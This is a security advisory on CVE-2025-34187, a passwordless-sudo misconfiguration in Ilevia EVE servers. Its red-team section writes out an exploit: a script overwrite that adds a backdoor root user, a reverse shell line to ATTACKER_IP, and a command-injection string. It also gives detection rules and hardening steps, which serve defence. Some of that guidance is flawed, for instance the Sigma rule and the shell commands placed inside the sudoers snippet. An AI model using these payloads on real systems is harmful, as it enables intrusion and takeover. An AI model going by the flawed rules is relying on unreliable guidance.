CVE-2025-34187

Executive Summary

CVE-2025-34187 is a critical privilege escalation vulnerability affecting Ilevia EVE X1 and X5 Server versions up to and including 4.7.18.0.eden. The vulnerability stems from a misconfiguration in the sudoers file, which allows passwordless execution of certain Bash scripts. If these scripts are writable by web-facing users or accessible via command injection, an attacker can replace them with malicious payloads. Execution with sudo grants full root access, leading to remote privilege escalation and potential system compromise. The vulnerability has a CVSS score of 0.0 (pending official assessment), but based on the description, it is likely critical. No public proof-of-concept (PoC) or exploit code is currently available.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a server-side configuration issue in a proprietary Ilevia product.

CVSS Breakdown & Threat Level

The official CVSS score is 0.0, indicating that the NVD has not yet assigned a score. Based on the vulnerability description, a reasonable estimated vector is:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs a web-facing user account or ability to perform command injection.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system compromise leads to complete data disclosure.
• Integrity (I): High (H) – Full system compromise allows modification of all data.
• Availability (A): High (H) – Full system compromise can lead to denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Threat Level: Critical. The vulnerability allows unauthenticated or low-privileged remote attackers to gain full root access.

Deep Dive & Mechanics

The vulnerability is rooted in a misconfiguration of the sudoers file on Ilevia EVE X1/X5 servers. The sudoers file is a critical security component that controls which users can execute commands with superuser (root) privileges. In this case, the file is configured to allow passwordless execution of certain Bash scripts.

Attack Flow:

1. Initial Access: The attacker gains access to the server as a low-privileged user (e.g., a web-facing user) or exploits a command injection vulnerability in a web application running on the server.
2. Script Discovery: The attacker identifies the Bash scripts that are configured for passwordless sudo execution. These scripts are typically located in directories writable by the low-privileged user (e.g., /tmp, /var/www/html, or custom application directories).
3. Payload Injection: The attacker replaces the legitimate script with a malicious payload. This could be a reverse shell, a backdoor, or a command to add a new user to the sudoers group.
4. Privilege Escalation: The attacker executes the malicious script using sudo (e.g., sudo /path/to/script.sh). Because the sudoers file allows passwordless execution, the script runs with root privileges.
5. System Compromise: The attacker now has full root access, allowing them to install malware, exfiltrate data, pivot to other systems, or cause a denial of service.

Root Cause: The sudoers file contains entries like:

username ALL=(ALL) NOPASSWD: /path/to/script.sh

This allows the specified user to execute the script as root without a password. If the script is writable by that user, it is a direct path to privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Configuration (sudoers file):

# /etc/sudoers or /etc/sudoers.d/ilevia
webuser ALL=(ALL) NOPASSWD: /opt/ilevia/scripts/backup.sh
webuser ALL=(ALL) NOPASSWD: /opt/ilevia/scripts/update.sh

Patched Configuration (recommended):

# /etc/sudoers or /etc/sudoers.d/ilevia
# Remove passwordless entries or restrict to specific commands with arguments
webuser ALL=(ALL) /opt/ilevia/scripts/backup.sh
webuser ALL=(ALL) /opt/ilevia/scripts/update.sh
# Ensure scripts are owned by root and not writable by others
chown root:root /opt/ilevia/scripts/*.sh
chmod 755 /opt/ilevia/scripts/*.sh

Key Differences:

• Vulnerable: NOPASSWD: allows execution without a password.
• Patched: Remove NOPASSWD: to require a password, or restrict the command to specific arguments.
• Patched: Ensure scripts are owned by root and not writable by unprivileged users.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Ilevia EVE X1/X5 server (version ≤ 4.7.18.0.eden).
• A low-privileged user account (e.g., webuser) or ability to perform command injection.

Exploitation Steps:

1. Identify writable sudo scripts:

   sudo -l
   

   This will list commands the user can run with sudo. Look for entries like:

   User webuser may run the following commands on host:
       (ALL) NOPASSWD: /opt/ilevia/scripts/backup.sh
   

2. Check if the script is writable:

   ls -la /opt/ilevia/scripts/backup.sh
   

   If the output shows -rwxrwxrwx or the user owns the file, it is writable.

3. Replace the script with a malicious payload:

   cat > /opt/ilevia/scripts/backup.sh << 'EOF'
   #!/bin/bash
   # Malicious payload - add a new root user
   useradd -m -G sudo -s /bin/bash attacker
   echo 'attacker:password' | chpasswd
   # Or create a reverse shell
   # bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   EOF
   chmod +x /opt/ilevia/scripts/backup.sh
   

4. Execute the script with sudo:

   sudo /opt/ilevia/scripts/backup.sh
   

5. Verify root access:

   whoami
   # Output: root
   

Alternative Attack Vector (Command Injection): If a web application is vulnerable to command injection, the attacker can inject commands to replace the script and execute it:

# Example injection in a web form
; echo '#!/bin/bash' > /opt/ilevia/scripts/backup.sh; echo 'useradd -m -G sudo -s /bin/bash attacker' >> /opt/ilevia/scripts/backup.sh; echo 'echo "attacker:password" | chpasswd' >> /opt/ilevia/scripts/backup.sh; sudo /opt/ilevia/scripts/backup.sh

Blue Team

Detection and Response:

1. Monitor sudo usage: Enable auditing of sudo commands. Look for unusual patterns, especially passwordless execution of scripts.

   # /etc/audit/rules.d/sudo.rules
   -w /etc/sudoers -p wa -k sudo_changes
   -w /etc/sudoers.d/ -p wa -k sudo_changes
   -w /usr/bin/sudo -p x -k sudo_exec
   

2. Check for writable sudo scripts:

   # Find all files that are executable via sudo and check their permissions
   sudo -l | grep -oP '(?<=\(ALL\) NOPASSWD: ).*' | while read script; do
       if [ -w "$script" ]; then
           echo "WARNING: $script is writable by current user"
       fi
   done
   

3. Harden sudoers configuration:

   • Remove all NOPASSWD entries.
   • Ensure all sudo scripts are owned by root and have permissions 755 or 750.
   • Use sudo -e to edit sudoers safely.

4. Implement file integrity monitoring (FIM): Monitor critical scripts for unauthorized changes.

   # Using AIDE
   /opt/ilevia/scripts/ p+i+n+u+g+s+b+m+c+md5+sha1
   

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified or new files in /opt/ilevia/scripts/ or similar directories.
• Unexpected files in /tmp/ or /var/tmp/ with names matching sudo scripts.
• Presence of reverse shell payloads (e.g., /dev/tcp/ references in scripts).

Network IOCs:

• Outbound connections to unknown IP addresses on common reverse shell ports (4444, 1337, 8080).
• Unusual SSH or RDP connections from the server.

User/Account IOCs:

• New user accounts added to the system (e.g., attacker).
• Unexpected entries in /etc/sudoers or /etc/sudoers.d/.
• Unusual sudo log entries (e.g., passwordless execution of scripts).

Process IOCs:

• Processes running as root that were spawned from a low-privileged user session.
• Shell processes (e.g., /bin/bash) running with root privileges from unexpected parent processes.

Detection Engineering

YARA Rule

rule CVE_2025_34187_Sudoers_Misconfig {
    meta:
        description = "Detects misconfigured sudoers files allowing passwordless execution of writable scripts"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-34187"
        severity = "critical"
    strings:
        $s1 = "NOPASSWD:" nocase
        $s2 = "/opt/ilevia/scripts/" nocase
        $s3 = "/var/www/" nocase
        $s4 = "/tmp/" nocase
    condition:
        $s1 and ($s2 or $s3 or $s4)
}

Sigma Rule

title: CVE-2025-34187 - Sudoers Passwordless Execution of Writable Scripts
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of sudo commands with passwordless privileges on writable scripts
author: Valters IT
date: 2025-04-17
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34187
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/sudo'
        CommandLine|contains: 'NOPASSWD'
    condition: selection
falsepositives:
    - Legitimate administrative scripts
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-34187 - Potential Reverse Shell from Ilevia Server"; flow:to_server,established; content:"/dev/tcp/"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Review and harden sudoers configuration: Remove all NOPASSWD entries. Require password authentication for all sudo commands.
2. Restrict script permissions: Ensure all scripts executed via sudo are owned by root and have permissions 755 (owner write, others read/execute) or 750 (owner write, group read/execute).
3. Apply principle of least privilege: Do not grant sudo access to web-facing users unless absolutely necessary.
4. Patch the system: Contact Ilevia for an official patch. If unavailable, implement the above mitigations.

Long-Term Mitigations:

• Implement file integrity monitoring (FIM) for critical system files.
• Enable sudo session logging and auditing.
• Use a configuration management tool (e.g., Ansible, Puppet) to enforce secure sudoers configurations.
• Conduct regular security assessments and penetration testing.

Workaround: If patching is not possible, consider isolating the Ilevia server from the internet and restricting network access to trusted IPs only.

Valters IT
Securing Digital Frontiers